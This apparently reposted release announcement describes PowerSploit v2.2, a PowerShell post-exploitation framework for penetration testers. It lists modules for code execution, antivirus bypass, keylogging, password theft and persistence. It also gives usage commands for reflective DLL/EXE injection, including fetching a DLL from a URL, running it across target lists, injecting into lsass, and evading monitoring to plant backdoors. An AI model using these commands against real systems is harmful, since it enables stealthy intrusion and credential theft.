PowerSploit v-2.2 released :  A PowerShell Post-Exploitation Framework.

PowerSploit v-2.2 released : A PowerShell Post-Exploitation Framework.

Change 26-01-2015:
– Adding PEBytes parameter; function Invoke-ReflectivePEInjection.

PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid reverse engineers, forensic analysts, and penetration testers during all phases of an assessment.

PowerSploit is comprised of the following modules and scripts:
+ CodeExecution; Execute code on a target machine.
— Invoke-DllInjection
— Invoke-ReflectivePEInjection
— Invoke-Shellcode
— Invoke-ShellcodeMSIL
— Watch-BlueScreen
+ ScriptModification; Modify and/or prepare scripts for execution on a compromised machine.
— Out-EncodedCommand
— Out-CompressedDll
— Out-EncryptedScript
— Remove-Comments
+ Persistence; Add persistence capabilities to a PowerShell script.
— New-UserPersistenceOptions
— New-ElevatedPersistenceOptions
— Add-Persistence
+ PETools; Parse/manipulate Windows portable executables.
— Get-PEHeader
— Get-ObjDump
— Get-DllLoadPath
+ Reverse Engineering; Tools to aid in reverse engineering.
— Get-PEB
— Get-ILDisassembly
— Get-NtSystemInformation
— Get-StructFromMemory
— Get-Member
— New-Object
— Get-Strings
— ConvertTo-String
— Get-MethodAddress
+ AntivirusBypass; AV doesn’t stand a chance against PowerShell!
— Find-AVSignature
+ Exfiltration; All your data belong to me!
— Get-Keystrokes
— Get-GPPPassword
— Get-TimedScreenshot
— Out-Minidump
+ Recon; Tools to aid in the reconnaissance phase of a penetration test.
— Invoke-Portscan
— Get-HttpStatus
— Invoke-ReverseDnsLookup
Recon\Dictionaries:
A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.
admin.txt – http://cirt.net/nikto2/
generic.txt – http://sourceforge.net/projects/yokoso/files/yokoso-0.1/
sharepoint.txt – http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/

Examples Syntax Images File Header

Examples Syntax Images File Header

Synopsis PEBytes parameter:
This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
please lead the Notes section (GENERAL NOTES) for information on how to use them.

1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, this will load and execute the DLL/EXE in to memory without writing any files to disk.
2.) Reflectively load a DLL in to memory of a remote process.
As mentioned above, the DLL being reflectively loaded won’t be displayed when tools are used to list DLLs of the running remote process. This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output from the DLL. The script doesn’t wait for the DLL to complete execution, and doesn’t make any effort to cleanup memory in the remote process.

.DESCRIPTION
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
.PARAMETER PEPath
The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer.
.PARAMETER PEUrl
A URL containing a DLL/EXE to load and execute.
.PARAMETER PEBytes
A byte array containing a DLL/EXE to load and execute.
.PARAMETER ComputerName
Optional, an array of computernames to run the script on.
.PARAMETER FuncReturnType
Optional, the return type of the function being called in the DLL. Default: Void
Options: String, WString, Void. See notes for more information.
IMPORTANT: For DLLs being loaded remotely, only Void is supported.

.PARAMETER ExeArgs
Optional, arguments to pass to the executable being reflectively loaded.

.PARAMETER ProcName
Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
.PARAMETER ProcId
Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
.PARAMETER ForceASLR
Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn’t support ASLR. Some PE’s will work with ASLR even
if the compiler flags don’t indicate they support it. Other PE’s will simply crash. Make sure to test this prior to using. Has no effect when
loading in to a remote process.

.EXAMPLE
Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc().
Note that the file name on the website can be any file extension.
Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString
.EXAMPLE
Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local
.EXAMPLE
Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
the wchar_t* returned by WStringFunc() from all the computers.
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
.EXAMPLE
Load DemoEXE and run it locally.
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs “Arg1 Arg2 Arg3 Arg4”
.EXAMPLE
Load DemoEXE and run it locally. Forces ASLR on for the EXE.
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs “Arg1 Arg2 Arg3 Arg4” -ForceASLR
.EXAMPLE
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local
.EXAMPLE
Load a PE from a byte array.
Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs “Arg1 Arg2 Arg3 Arg4”

GENERAL NOTES:
The script has 3 basic sets of functionality:
1.) Reflectively load a DLL in to the PowerShell process
-Can return DLL output to user when run remotely or locally.
-Cleans up memory in the PS process once the DLL finishes executing.
-Great for running pentest tools on remote computers without triggering process monitoring alerts.
-By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.
2.) Reflectively load an EXE in to the PowerShell process.
-Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally.
-Cleans up memory in the PS process once the DLL finishes executing.
-Great for running existing pentest tools which are EXE’s without triggering process monitoring alerts.
3.) Reflectively inject a DLL in to a remote process.
-Can NOT return DLL output to the user when run remotely OR locally.
-Does NOT clean up memory in the remote process if/when DLL finishes execution.
-Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
-Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.

DLL LOADING NOTES:
PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting.

For DLL Loading:
Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled “YOUR CODE GOES HERE” I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows:
wchar_t* : FuncReturnType = WString
char* : FuncReturnType = String
void : Default, don’t supply a FuncReturnType

For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don’t simply convert a string using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns. The function name expected in the DLL for the prewritten FuncReturnType’s is as follows:
WString : WStringFunc
String : StringFunc
Void : VoidFunc

These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would be declared as follows:
extern “C” __declspec( dllexport ) wchar_t* WStringFunc()
If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify this script to accomodate this. You can find the code to modify in the section labeled “YOUR CODE GOES HERE”.

Download : v2.2.zip
Clone url Here
Source : https://clymb3r.wordpress.com/ | https://github.com/mattifestation